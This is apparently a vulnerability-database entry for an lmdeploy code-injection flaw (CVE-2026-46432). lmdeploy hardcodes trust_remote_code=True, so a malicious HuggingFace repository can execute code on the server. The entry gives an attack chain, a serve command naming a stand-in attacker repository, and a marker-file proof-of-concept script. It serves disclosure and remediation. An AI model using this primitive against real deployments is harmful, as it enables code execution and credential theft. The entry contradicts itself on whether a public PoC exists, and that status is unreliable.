Skip to main content

lmdeploy CVE-2026-46432

HIGH
Code Injection (CWE-94)
2026-05-21 https://github.com/InternLM/lmdeploy GHSA-m549-qq94-fvhg
7.8
CVSS 3.1 · Vendor: https://github.com/InternLM/lmdeploy
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify lmdeploy deployment accepting model IDs
  2. Delivery
    Publish malicious HuggingFace repo with modeling_*.py payload
  3. Exploit
    Set model_path to attacker-org/malicious-model
  4. Install
    Trigger lmdeploy serve restart
  5. C2
    Transformers fetches and executes remote code
  6. Execute
    Payload runs as serving user
  7. Impact
    Exfiltrate HF tokens, cloud creds, and pivot internally

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be able to control the model_path / model identifier consumed by an lmdeploy serving process - concretely, write access to one of: the CLI argument to lmdeploy serve api_server, deployment configuration (Helm values, Kubernetes manifests, docker-compose, systemd units), CI/CD pipeline variables, or a managed/multi-tenant API that accepts user-supplied HuggingFace model IDs for serving. The lmdeploy host must also be able to reach huggingface.co (or whichever Hub endpoint Transformers resolves) to fetch the malicious repository at model-initialization time. Limiting factors: exploitation requires triggering a (re)start of the serving process to re-run model loading, the attacker needs publish access to some HuggingFace namespace they can name in model_path, and single-tenant deployments where only trusted operators can edit the model path are not realistically exposed. No end-user interaction with the API is required - the code executes during daemon startup, not per-request.

Impact

The CVSS 3.1 vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H scores 7.8 and models a local, low-privileged attacker - reflecting the assumption that the model path is set by a legitimate operator. In practice, real-world deployments often expose the model path via Kubernetes manifests, CI/CD pipelines, or multi-tenant control planes where lower-trust users can submit model IDs; in those settings the effective attack vector is much closer to network/adjacent and the risk is meaningfully higher than the headline CVSS suggests. There is no EPSS score or CISA KEV entry provided, so no evidence of opportunistic mass exploitation, but publicly available exploit code exists (PoC in the GHSA advisory) and the bug is trivially weaponizable by anyone who can publish a HuggingFace repo. Net assessment: this is a real priority for any team running lmdeploy as a shared or managed service, and a lower priority for single-tenant deployments where only trusted operators can set the model path.

Exploit ScenarioDerived

An attacker with the ability to influence the model_path used by an lmdeploy deployment - for example a developer with write access to a Helm chart, a CI/CD job parameter, or a multi-tenant control plane that accepts user-submitted HuggingFace model IDs - publishes attacker-org/malicious-model to HuggingFace containing a modeling_*.py payload. The next time lmdeploy serve api_server attacker-org/malicious-model runs, AutoConfig.from_pretrained triggers Transformers to import that file and execute the payload as the serving user. A working PoC is included in the GHSA advisory and reliably writes a marker file proving code execution.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 21, 2026

Arbitrary code execution in InternLM lmdeploy <= 0.12.3 occurs because trust_remote_code=True is hardcoded across HuggingFace model-loading call sites in lmdeploy/archs.py and lmdeploy/utils.py. An attacker who can influence the model_path passed to an lmdeploy serving process can point it at a malicious HuggingFace repository, causing Transformers to download and execute attacker-controlled Python code with the privileges of the serving daemon. Publicly available exploit code exists in the GHSA advisory, and an upstream fix has been merged via PR #4511 (fixed in 0.13.0).

RemediationAI

Upgrade to lmdeploy 0.13.0 or later, which lands the fix from https://github.com/InternLM/lmdeploy/pull/4511 - that PR replaces hardcoded trust_remote_code=True with an explicit --trust-remote-code CLI flag / pipeline kwarg defaulting to False, so remote code execution becomes opt-in per deployment. Operators upgrading must add --trust-remote-code to invocations that legitimately depend on custom model code (e.g., certain InternVL or non-standard architectures), otherwise model loading will fail; this is the intended trade-off. If immediate upgrade is not possible, treat the model_path argument as a code-execution sink: restrict who can set it (lock down Kubernetes manifests, Helm values, CI variables, and any API that accepts user-supplied model IDs), pin deployments to pre-downloaded local model directories rather than HuggingFace Hub IDs, run lmdeploy under a dedicated low-privilege service account with minimal access to cloud credentials/HF tokens, and consider egress filtering to block huggingface.co downloads from production serving hosts (note: this also breaks legitimate on-the-fly model pulls). Reference: https://github.com/InternLM/lmdeploy/security/advisories/GHSA-m549-qq94-fvhg.

Affected Packages

pypi lmdeploy fix: 0.13.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

lmdeploy (pkg:pip/lmdeploy) is InternLM's high-throughput LLM serving toolkit that wraps HuggingFace Transformers for model initialization. The vulnerability is a CWE-94 (Improper Control of Generation of Code) issue rooted in the Transformers trust_remote_code mechanism: when set to True, Transformers will import and execute arbitrary modeling_*.py modules shipped inside a model repository during calls like AutoConfig.from_pretrained, PretrainedConfig.get_config_dict, and GenerationConfig.from_pretrained. lmdeploy hardcodes this flag at archs.py:154, archs.py:157, and utils.py:225, removing the operator's ability to make an explicit trust decision. Because the model identifier is treated as configuration data rather than executable code, any data-flow path that lets an untrusted party set the model path becomes a code-execution sink.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/InternLM/lmdeploy) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/InternLM/lmdeploy) · only source for this CVE.

CVSS VectorVendor: https://github.com/InternLM/lmdeploy

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

text
lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

text
lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

text
lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

python
AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

python
GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

  1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
  2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:
text
attacker-org/malicious-model
  1. The lmdeploy serving process starts with that model path:
bash
lmdeploy serve api_server attacker-org/malicious-model
  1. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
  2. Transformers loads and executes remote Python code from the attacker-controlled model repository.
  3. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

text
[+] Code execution confirmed

The marker file is written to:

text
/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

  • Read files accessible to the lmdeploy process.
  • Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
  • Modify model-serving behavior or tamper with responses.
  • Execute arbitrary operating-system commands.
  • Access request data or internal service credentials available to the serving process.
  • Cause denial of service by crashing or destabilizing the serving daemon.
  • Pivot to internal services reachable from the lmdeploy host or container.

Executive ViewAI

Why It Matters

InternLM lmdeploy versions 0.12.3 and earlier contain a hardcoded configuration that enables remote code execution when attackers control or influence the model repository source. Any organization running lmdeploy for model serving faces immediate risk of arbitrary code execution with the privileges of the serving daemon if external sources can specify model paths.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigations: enforce allowlisting of permitted HuggingFace model repositories, run serving daemons with minimal required privileges, isolate processes via containerization, and implement logging for all model loading operations to detect anomalous sources.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:pip/lmdeploy

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy